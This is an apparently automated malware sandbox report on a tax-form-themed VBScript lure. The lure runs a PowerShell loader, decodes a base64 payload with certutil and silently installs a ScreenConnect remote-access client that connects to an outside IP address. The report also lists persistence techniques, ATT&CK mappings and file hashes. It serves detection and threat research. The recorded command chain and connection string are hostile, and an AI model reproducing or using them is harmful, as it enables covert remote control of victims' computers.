SeTakeOwnershipPrivilege 2640 msiexec.exe Token: SeLoadDriverPrivilege 2640 msiexec.exe - Suspicious use of FindShellTrayWindow 7 IoCs
pid Process 2640 msiexec.exe 2640 msiexec.exe 3896 ScreenConnect.WindowsClient.exe 3896 ScreenConnect.WindowsClient.exe 3896 ScreenConnect.WindowsClient.exe 3896 ScreenConnect.WindowsClient.exe 3896 ScreenConnect.WindowsClient.exe - Suspicious use of SendNotifyMessage 5 IoCs
pid Process 3896 ScreenConnect.WindowsClient.exe 3896 ScreenConnect.WindowsClient.exe 3896 ScreenConnect.WindowsClient.exe 3896 ScreenConnect.WindowsClient.exe 3896 ScreenConnect.WindowsClient.exe - Suspicious use of SetWindowsHookEx 5 IoCs
pid Process 2640 msiexec.exe 5088 msiexec.exe 2864 MsiExec.exe 2076 MsiExec.exe 5772 MsiExec.exe - Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 3008 wrote to memory of 5992 3008 WScript.exe 89 PID 5992 wrote to memory of 1088 5992 net.exe 91 PID 3008 wrote to memory of 292 3008 WScript.exe 92 PID 292 wrote to memory of 5820 292 powershell.exe 95 PID 292 wrote to memory of 2428 292 powershell.exe 96 PID 2428 wrote to memory of 2640 2428 ScreenConnect.ClientSetup.exe 97 PID 5088 wrote to memory of 2864 5088 msiexec.exe 99 PID 2864 wrote to memory of 2804 2864 MsiExec.exe 100 PID 5088 wrote to memory of 2636 5088 msiexec.exe 106 PID 5088 wrote to memory of 2076 5088 msiexec.exe 108 PID 5088 wrote to memory of 5772 5088 msiexec.exe 109 PID 2196 wrote to memory of 3896 2196 ScreenConnect.ClientService.exe 111 PID 2196 wrote to memory of 2200 2196 ScreenConnect.ClientService.exe 112 - Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\IRS_Form_8879.vbs"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:3008 -
C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" session2⤵
- Suspicious use of WriteProcessMemory
PID:5992 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 session3⤵PID:1088
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -File "C:\Users\Admin\AppData\Local\Temp\loader.ps1"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:292 -
C:\Windows\system32\certutil.exe"C:\Windows\system32\certutil.exe" -decode C:\Users\Admin\AppData\Local\Temp\payload.b64 C:\ProgramData\Microsoft\Windows\ScreenConnect.ClientSetup.exe3⤵
- Deobfuscate/Decode Files or Information
PID:5820
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C:\ProgramData\Microsoft\Windows\ScreenConnect.ClientSetup.exe"C:\ProgramData\Microsoft\Windows\ScreenConnect.ClientSetup.exe" /VERYSILENT /SUPPRESSMSGBOXES /NORESTART3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2428 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\e372956e875cf90e\ScreenConnect.ClientSetup.msi"4⤵
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:2640
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C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5088 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 0AFAF10253F78B225F170EEBECB6896C C2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2864 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIAE95.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240758593 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments3⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
PID:2804
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C:\Windows\system32\srtasks.exeC:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:22⤵PID:2636
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C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding BE273679F84E493A61077533B5B2212A2⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:2076
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C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 4A7E1F7A6BCC063600AA325DA103A153 E Global\MSI00002⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of SetWindowsHookEx
PID:5772
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Checks SCSI registry key(s)
PID:5136
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C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.ClientService.exe"C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=2.27.49.47&p=8041&s=ac121592-f9a3-47e6-8e5f-82a3ffec7ac2&k=BgIAAACkAABSU0ExAAgAAAEAAQANxVToV2CJXpn%2bKz67VH0zv6%2blU8GZO7BbB9kKj7ahG0IXirnOsgH%2b6%2bVKHSCBYq9mnJykSkuBwdzjDt6sLI3P8ahBHf6ICpR1gMJKf7%2b%2fyHiPA2JCW9HCVu9tbTDjzemTIdJ54QAdB9Wl0B7ltI%2fqtkj2cjlp9dWmtftblwL2g8j%2fFzdrvMwn1z%2fbpnKCrDchkZCp68QPQxBddae31bQc2%2bAC6hobqMjZFR%2fvWh85qnkCCNQsgMD%2f3jS0UVLQA%2bsMEjOTd6OL9MEul24ADyvSGuTKDbIRfOPtjpTVu7jRRxEX6MSRKzO1CXTPkU2pueSGloBlZ1lhG1Rpz3i6sPqZ"1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2196 -
C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.WindowsClient.exe" "RunRole" "8dee2b06-b162-433c-ac78-4190b191744f" "User"2⤵
- Executes dropped EXE
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3896
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C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.WindowsClient.exe"C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.WindowsClient.exe" "RunRole" "a8670399-a1da-4a89-9a47-1fb3eac25c59" "System"2⤵
- Executes dropped EXE
- Checks processor information in registry
- Modifies data under HKEY_USERS
PID:2200
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Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
2Authentication Package
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Component Object Model Hijacking
1Privilege Escalation
Boot or Logon Autostart Execution
2Authentication Package
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Event Triggered Execution
1Component Object Model Hijacking
1Replay Monitor
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Downloads
- Path C:\Config.Msi\e5a02c1.rbs
- Size 214KB
- SHA256 7f335889c0ff455b958339c246db95ef913158506d8fc810c8ecdeda76073a90
- MD5 8c4fd3187fd6f9cc1dd73ca58e6b38fb
- SHA1 52245ad2d8eade267be54c06225173bbf0bd61b5
- SHA512 5fa241882e2302b098dd437549ecb11b1a05cfa2a949e4cba549c9606c47a253fee3f994aa4ec84a10558c818936420d64efe233b0a5e3c5bb6f796f222bbaf3
- SSDEEP 3072:Lw9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG1:LwuH2aCGw1ST1wQLdqv1
- TLSH T19F248C227494807EE7FA1A32D93E9A717E7DF6240760C59EC3848C1E9D604C06BF6B67
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\Client.en-US.resources
- Size 48KB
- SHA256 6a000a67799a071883b6e25f86d91c2c513aae0b34b3643be77e5b889335fb95
- MD5 12868948cb5f1d8aafda0fece898c59c
- SHA1 0283e03200016208bccb56a5bce70ca4c4d30e26
- SHA512 8d44dd88ee5fbe631ce64387c0bc03bfd1ae4cfe360954cd9af98d61fd3e26a849e66e586055adde3d7d3eae18a2ac21a0aaf7cbedb2590ad4911552fddea1f3
- SSDEEP 1536:p1Oa22xQvG6Hk6+BilJi41sJkF0Z9UwYLDhYKS1BrJKekmrg9:p1Oa22xQJHk6+BilJi41sJkF0Z9UwYL7
- TLSH T16B331D1277FD1A18F5F36F45BE7A94619937BC6A2E25C06F1028815E09B2F80C9B2773
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\Client.resources
- Size 28KB
- SHA256 95b299c8c163731707e8134946059a28c668c2b65b48f57eac2847dbe4beb63e
- MD5 ed9f87bcf99cda39c847a5ebe755a4b9
- SHA1 c7cd54935424494b50f132e016d448ecac6b58c3
- SHA512 ef4194b7d0173056953e0a94544108b6c3634c1e0a6088a481fd663ad4d34db1f219d9f4cdb82c7116911c4d360cc6d2d9bb4fa57db9d4af68ab65abadba1ad1
- SSDEEP 768:Mcfv39mCOVPZrXgTf6vEVm6zjpGYUElerG49:PfP4COVPZrXgTf6v0fzNGqn49
- TLSH T1CFD2E0CE33BAECADE67E6F7E39D94070123B6F022C625212B8061415243748D2B68F5F
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.Client.dll
- Size 192KB
- SHA256 6526705b685c2f221a6675118c73cba98c47d948169d81ea4544c3e3336b8f2b
- MD5 7ee2543520d72fd54827f3d11a21ef8d
- SHA1 7aca9192a475179f4df8752ecd7eda05948dc6f4
- SHA512 a0c65c11ce979cd4142439b64bb5e029a8bde9f2584d51de0231ea6a88aae960e00f3097b1e51847496824a1a76baa99f9fbacb67565704b262c5483bee5b91a
- SSDEEP 3072:FxLtNGBlIyS7/OvjusqVFJRJcyzvYqSmzDvJXYA:ftNGBGySavqPJYnqSmG
- TLSH T122144B8633A94E36DA9F5D73B46060358AB5ED066023E3EE5E04F9F61A733408E553E3
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.ClientService.dll
- Size 66KB
- SHA256 319ba24115e64ea4b714caf4e88d3d5a658defd51d714c2291b9758466925281
- MD5 5d4be679ad5c4bfb5144f381d3308ab3
- SHA1 27d351219ad62fc914c6c34eed8373fee6de294d
- SHA512 e9b07fc27078bb8c706f970120304b816ad5c0eb5a967371f76de42edd397b5b6b5faf9645eed707584a1e1175406958a8daf4b65d20c2cf7aadaddaff1166c9
- SSDEEP 768:c3gaRdcdsmzKWOWXlhh6Eg/6QhvoTVcV7K0c4RelfyQFVFlCtskxZgVfS8EX8bED:tCsKWOGmEgLhvoTVF0JJQFVFlPasbg
- TLSH T1B0633B06E3F98A7BC9DF5F7878B5B0450EB08A02E062FB989CC9A5D71B537C119053A7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.ClientService.exe
- Size 93KB
- SHA256 f048400c23add8c75abe189393d33c873c02c74eeaf43d47b950c8d643763b35
- MD5 752d5cdda2a1d93d27e38f98a5d23fc2
- SHA1 d4fd4ff0709271323b8d401579270e6567b6e360
- SHA512 f48a21229a8d8cc80371e9aeeb47bb10ff0f3b0363e854ca30db833c74519d37ee21349fa9201c7ed5392ddf5d0ff2a66d250821d109dc0ac7425ab2a5a3fea2
- SSDEEP 1536:wg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkgUU0HMQ7oOgU:ZhbNDxZGXfdHrX7rAc6myJkgUU0HvMU
- TLSH T1E8935B13B5C28872D473093158E0DAB49A3FF9215E61DEAB3798022E4F741C1AE75EB7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.WindowsAuthenticationPackage.dll
- Size 254KB
- SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
- MD5 5adcb5ae1a1690be69fd22bdf3c2db60
- SHA1 09a802b06a4387b0f13bf2cda84f53ca5bdc3785
- SHA512 812be742f26d0c42fdde20ab4a02f1b47389f8d1acaa6a5bb3409ba27c64be444ac06d4129981b48fa02d4c06b526cb5006219541b0786f8f37cf2a183a18a73
- SSDEEP 3072:qJvChyA4m2zNGvxDd6Q6dtaVNVrlaHpFahvJ9ERnWtMG8Ff2lt9Bgcld5aaYxg:0IvxDdL6d8VNdlC3g0RCXh5D
- TLSH T1C5448E15B7A40CB4EC77823888535A06E776BC160760E6CF03E0825ADF6F7D1A63E762
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.WindowsClient.exe
- Size 593KB
- SHA256 b80d07610b81bddb3d7f30a207a2e134b559e06b8440598a926f3a9c1d439218
- MD5 9562334dd9a47ec1239a8667ddc1f01c
- SHA1 b46c4e4694783311e2c612ed7f0ca67a88e1e352
- SHA512 a4207d106c5253777dc1eb49d644e2f7ba5ab4e6b64bad1f072c4fcd97df38e76b86986a8a7d7441c0c7cedb2e041044c7f9b36f892c9f48836a8db2d22e8500
- SSDEEP 6144:PTv8K3EAggQ2nqBly89VXvJthenrMd+3OsJwEKbE00QPG5YgRtAcCI2/R4IRtNup:rUKt/sXvJqu+3OsJwrbE00QuHRgNNmAq
- TLSH T1E7D46C2273B88A7BD9BF0779B0F21C2557B0E8436185D78E49A4ACD91D973818D0E3E7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.WindowsClient.exe.config
- Size 266B
- SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
- MD5 728175e20ffbceb46760bb5e1112f38b
- SHA1 2421add1f3c9c5ed9c80b339881d08ab10b340e3
- SHA512 fb9b57f4e6c04537e8fdb7cc367743c51bf2a0ad4c3c70dddab4ea0cf9ff42d5aeb9d591125e7331374f8201cebf8d0293ad934c667c1394dc63ce96933124e7
- TLSH T12CD05E5418D4FC1B5E324A6767628959EF70E2D280A84808B49F1573062309A4397322
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\ScreenConnect.WindowsCredentialProvider.dll
- Size 837KB
- SHA256 36ad3b4858ee84fd2a73522a9ad25d177f492a65e1cbc6630169dc820dc2b63d
- MD5 a81497b417d4f67ea6cab399bd3a71f8
- SHA1 5738c90789e62bf046024ceea96cbf2665bccd9d
- SHA512 a43dbf305579b193d2897af0bd8cff528ea93b9fb93448b5cc6b43a6763ac16abb0752cf83d9b4ebbfc0a9d92084d12db3c69655f8ff424e53a4baa7fad4b781
- SSDEEP 12288:tMYkEC5OqMuIyZiBP+6EEKNPQXnRHb+mZ:tfQ5ZMuIyZiBW61KSXRHb+I
- TLSH T138055B1BE79440BAC0ADC2B5C35BA736BBF6F4864514B28F07D40A227E6BF506B1D784
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\app.config
- Size 508B
- SHA256 779c074d07a35de132ade25762da935077cf6a7da2c3812cc4f432d5dad73394
- MD5 7b5bfce1109ea50893d85f908066f4eb
- SHA1 49dee30e332dab3251af37a9c4b2cf99c1493f72
- SHA512 c3fda557c4deba5d4be1e279e711fcd09d8eb15f445d8ebd733ced7d493a9a6cad74e56c2847489275a3d8dbdec8bfd21bc097600a1288adff9b7f6921c5e3ba
- TLSH T115F0E91432047E5B1A871F33C53346102DB16E722221242D64AB303BF67A6E513B23C7
- MD5 SHA1 SHA512 TLSH
- Path C:\Program Files (x86)\ScreenConnect Client (e372956e875cf90e)\system.config
- Size 942B
- SHA256 9b6f8ac95ffbfa766c27bd75f5968328cbc52bc8eadb10ab68a3a0374451d24b
- MD5 16e38955121b76c5b7069816d0ba86c4
- SHA1 accdf7b9fb0eac861b3e115578da6af64224f622
- SHA512 56c387aacbc4079d05ced8c455ecd595e113a39b5c34a084889cba0a2af15dc3cd43c1442fe40a999c9426a7e1efd0fdb7ca9fccd7789cfb9cb111ab712511c3
- TLSH T1D81144A1B2487D4E12A36E23C5008340EE762F5615511488365F62768F3685B07A336A
- MD5 SHA1 SHA512 TLSH
- Path C:\ProgramData\Microsoft\Windows\ScreenConnect.ClientSetup.exe
- Size 5.4MB
- SHA256 42b70e588e4f40907e04ce170841e6f10986e98557e9117be933393c30df1d63
- MD5 e4b9fb426a44521b8a9f05a74e43df42
- SHA1 29b80b96ce5a844616132f1985b6cf0209b5c0bf
- SHA512 14611dcab6b98806613edb876d2598ca7f0263cff71539efc274194cc65e370eee30f42ebfa6f4229a0b7a0dc5b8b1076be19bca1ed2ea32f75d5daf75d79a8d
- SSDEEP 98304:qzIus6efPUIdoaxcp8wy5c3trGOlkQ5DUOgJ9zl:qhfefPtHxcp9ym3nltDUJV
- TLSH T1F646E101B3D695B6D1BF1638D87A52696734BC049316CBBF5394BD392E32BC04E323A6
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\MSIAE95.tmp
- Size 1.0MB
- SHA256 a45ba86c5d13aa8e814e4cb0860b5b2a39ce9677b0d980947f6fe31676051cb2
- MD5 81f945dabc576ca389348a4e7147463f
- SHA1 1876786194d49de92fff0b523f0c6280bdf94e22
- SHA512 3f72d5a6f482757484b0c06cb5c1e6e018a4051fe43086f77f6ea8e61ee0d08afc0ec96eac5cb01e2d8dfdabe9115d7c277cd87b7ccf9bb02bd8da0e9556504a
- SSDEEP 24576:QUUGG4DlIQMi4CJXxCHzCrvPfU8GWng+A2tuHt+pbW/aU0r1d:jG4DlItQ5xJrvPfU8VgJwW/zAd
- TLSH T19D35234832E58439E2A73A320CB6A6B125BC74773670D45FA78B4A1D5FB0AD1DE31327
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\MSIAE95.tmp-\Microsoft.Deployment.WindowsInstaller.dll
- Size 172KB
- SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
- MD5 5ef88919012e4a3d8a1e2955dc8c8d81
- SHA1 c0cfb830b8f1d990e3836e0bcc786e7972c9ed62
- SHA512 4544565b7d69761f9b4532cc85e7c654e591b2264eb8da28e60a058151030b53a99d1b2833f11bfc8acc837eecc44a7d0dbd8bc7af97fc0e0f4938c43f9c2684
- SSDEEP 3072:FkfZS7FUguxN+77b1W5GR69UgoCaf8TpCnfKlRUjW01Ky4:x+c7b1W4R6joxfQE
- TLSH T14E045B2563FC473ECAEF87B4E2624251E7B2E2E97113DB0DDC8541AA2522780F792753
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\MSIAE95.tmp-\ScreenConnect.Core.dll
- Size 538KB
- SHA256 b8100e5ab07983cbf82d721cf719576ca3f60e352628dcaabd42d428011fdedf
- MD5 1db8b9fa0bdcbfaab807f715c288c19a
- SHA1 fde73710ce063bbf1e377c02a1a8615cf4da1c08
- SHA512 fc132764026c682e8fac1a97171731d54880c8d95566c486c731c880e750a29875ac208fb4b4dc2897dfc49beb24f77af016d846c78be75df159d3542600eb73
- SSDEEP 6144:SfoUrkyyvsbvpSLmwJUoqnoezGMZf1y99tg03Xdedu1h+xE5vce/6OdCatxq/trJ:SfpkywYszKoIzGafzece/6yx/Oek
- TLSH T144C47D9233B48B2FCABF5B7BE42454980770E901F209EB5B1AD6D4BC5F633854E412E6
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\MSIAE95.tmp-\ScreenConnect.InstallerActions.dll
- Size 11KB
- SHA256 c79a22accadb1f8a716669ca68c6d6f4e9a21c0d639e2846f288b60bc8adc770
- MD5 454b489378d49d17021b3e85f86ae843
- SHA1 8a208ddbcd5609b2a8d2dad34a6894396e806d51
- SHA512 24ee8ed25df1d43169e9c762b5e1cbaa1e0150bb07387ac5ebeda6f19b83ecbe38342fe01259ca373bcfccb653ea6533395b88a4bce29aee7354815d5253538b
- SSDEEP 192:b8/Qp6lCJuV3j/XtyVNamVNG1YZfCrMmbfHJ7kjvLHbuLd9NEFb5lZ:I/cBJaDXt2NaheUrMmb/FkjvLHbuZslZ
- TLSH T1A132D50077DC533AE8BE0F789EB762910A71FB64A011DF2E18CC91569C36744AEA07B7
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\MSIAE95.tmp-\ScreenConnect.Windows.dll
- Size 1.6MB
- SHA256 da29455a64858fda773319c32c0a6cd40edbe8042ed005aa2befb8a4f0fb0522
- MD5 94216eb90ca53fbb175f0ee6adbfb663
- SHA1 48038f060a5042ff44a2d9a9be46368ecc8436fd
- SHA512 c6c7e2a63eaccc5703acf4cb482a9e441fb6e670a9086d3ade558a597b1fd6c17f5e5b7027d835b80ebf2c071f9442bde466f313ddb8456fe0d3e4db6d53b041
- SSDEEP 24576:VDhFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPTsUTHs:VDhJkGYYpT0+TFiH7efP
- TLSH T14B85BD41E2D364F5D46B047888BF571ABA743C040325CAFB97D4AE3A6D33BC09A36796
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\ScreenConnect\25.2.4.9229\e372956e875cf90e\ScreenConnect.ClientSetup.msi
- Size 9.5MB
- SHA256 9aaef578c416a3d666f1345e3ff738ec46a8d5056af25012d6702455d2e17e3e
- MD5 16f30bba58abe35fcb1fe3a38e2e9b1f
- SHA1 7108adf9c1cea1dcb91a7c1724b74c00131798e4
- SHA512 3ef53938b9fdb106a0d8c9fb7b69b767ee27a470a20c78b7ef59282bcdf0b95f401fb8b225a47a60cc8da114efa661e424d864978bcad67ff40a85a9bae702fb
- SSDEEP 196608:JHxcp9ym3nltDUJVeHxcp9ym3YHxcp9ym39Hxcp9ym3BHxcp9ym3:bGplpRGpmGpvGpzGp
- TLSH T155A623116BF8D278F1F12A39D876A0B1A53A7D119E23D12E2324791E2C75EC0CA63777
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\install_log.txt
- Size 5KB
- SHA256 a960ea2eb9a89c309a7730395fae0fccb386e17c8f400e87a968f13aca479f05
- MD5 8c42b3646422c99668fa3702566a16b6
- SHA1 2c7e25bafc27fea88bdaa267d6efc59f24c49ecd
- SHA512 1d942081d29e5579a4052112dc007bc9e1b7247e9626a6839c4de200004734902261ac0367ced5c554fb85a00d76b94dd3ed9276f0be6da939448dada7527f9a
- SSDEEP 96:KORsxtW3uQ2CX40TDeX4GUzX4zMoX4M0X4bM2X4XMMX4aMQX4S0MSX4XMWPX4cMD:JsRQ2OTDwUyDbOtCezLN8wwDz8cr5JY4
- TLSH T171B14621887C4022BFF361094A6BCF2827BB769B7185DF0972CDA1905517BC7CDB92DA
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\loader.ps1
- Size 7.2MB
- SHA256 7d1429efa3061015121961f12287c3e21e8f8efb80dec759a0f8d9524b0af0e4
- MD5 f1ae7315c9340e70aa01c86efae14544
- SHA1 7535606090065b9ebfc778244535ff7879c2a679
- SHA512 3cf82790c9d0f768a47ca3ca71ad0ca358cc2c6bc5081cf0c5d226525e728b8e456f1ac284f4062a1f15eb27d92b9468e776548430369dfa39d0562ab4ed26fc
- SSDEEP 49152:hquQE1FdcAeGwC5IGz6t6/yA91cPUKdWaCbJF1Ye2LI9ZNqCaSzbTrQ0A9hl8WT0:N
- TLSH T14376E0334613BCEE3B7E2D80D4002D561C6C2E9783648658FA8835BB76DD694DF6E4B8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\payload.b64
- Size 7.2MB
- SHA256 da1001e1e7d81b6be17d9754bc481d8f400b34d2a07fa4e380e4829bc6534860
- MD5 f9b31e42187e271211af0f0b03fe6299
- SHA1 37991e772ee8f085ad848094794363c699f1bdeb
- SHA512 bc7e7ca7a53e738e459960a57c64f4fa99e539d0dd779a0ae1201a46e078f1103d8d8e2df8722dbd480533749a6cf88a201eefddf8b3732eb98ce06f06a5903d
- SSDEEP 49152:OquQE1FdcAeGwC5IGz6t6/yA91cPUKdWaCbJF1Ye2LI9ZNqCaSzbTrQ0A9hl8WTB:1
- TLSH T18676E0334613BCEE3B7E2D80D4002D561C6C2E9783648658FA8835BB76DD694DF6E4B8
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\Installer\MSI88E.tmp
- Size 202KB
- SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
- MD5 ba84dd4e0c1408828ccc1de09f585eda
- SHA1 e8e10065d479f8f591b9885ea8487bc673301298
- SHA512 7a38418f6ee8dbc66fab2cd5ad8e033e761912efc465daa484858d451da4b8576079fe90fd3b6640410edc8b3cac31c57719898134f246f4000d60a252d88290
- SSDEEP 3072:X9LUHM7ptZ8UKOGw5vMWSuRy1YaDJkflQn3H+QDO/6Q+cxbr0qMG:XuH2aCGw1ST1wQLdqv
- TLSH T129147C326494803EE7F91A36D93E9A61AE7DF6241760C99EC3848C0E5D604D06BF7B27
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\System Volume Information\SPP\metadata-2
- Size 26.1MB
- SHA256 58e464dae2cc2fdd7929f4600c23f89d4043ed9c009dbbcadc52544444206f2b
- MD5 b73398f1bd8d2a9dca7e06f56a422f38
- SHA1 3284938182e562a08cd649fa98927a6d66c80c3c
- SHA512 62ff4abb0b22e8cda3112a4c93bcefd7152594e07e51d19a33eb3e6d8a4de8c7e710b85118be7003a9bf581aed721acbe6c1ce46cc64f0f853bc34104acdaac4
- SSDEEP 24576:LFo3DMP3doO/vvTL/yAsMilQPrOWX7rf0R6e9BCE65iqpLNMMoR2s12Noea:NHM
- TLSH T19E57B51436F92100E7F79E3CA8F06A234D397D5BAC19DE8D45511B8E0922F71E872F6A
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path \??\Volume{c61fbfff-0000-0000-0000-d08302000000}\System Volume Information\SPP\OnlineMetadataCache\{2921b854-a257-4b56-92ce-2b0e3e4a6f7a}_OnDiskSnapshotProp
- Size 6KB
- SHA256 e8f23ad178a5b693bf7b0ad284c7f69517798dc893373298b8caddcc92d5d618
- MD5 ebf3d21df9dcf620df444c15a7c5e45b
- SHA1 f962af459b0281221e204dcc132415b9be3a4161
- SHA512 426cde3334c80f3a895996b71f94b3b887735f60b5a103d76f2e580ba229810f402a154454f21d71b8da00db7224f85f943de0200e2a6d7aa4e964a00dce91e7
- SSDEEP 96:FWGGRW5mpJlDvc6DD84LTHzbOHXOHBlBRQn8Sc9XE56tOSVQpu:QGG0yJl/b++uVm
- TLSH T109D1890C1AF54711E2B3AB3229F14557A837B911EF33CB8E0198238E6671A10F975F6B
- MD5 SHA1 SHA512 SSDEEP TLSH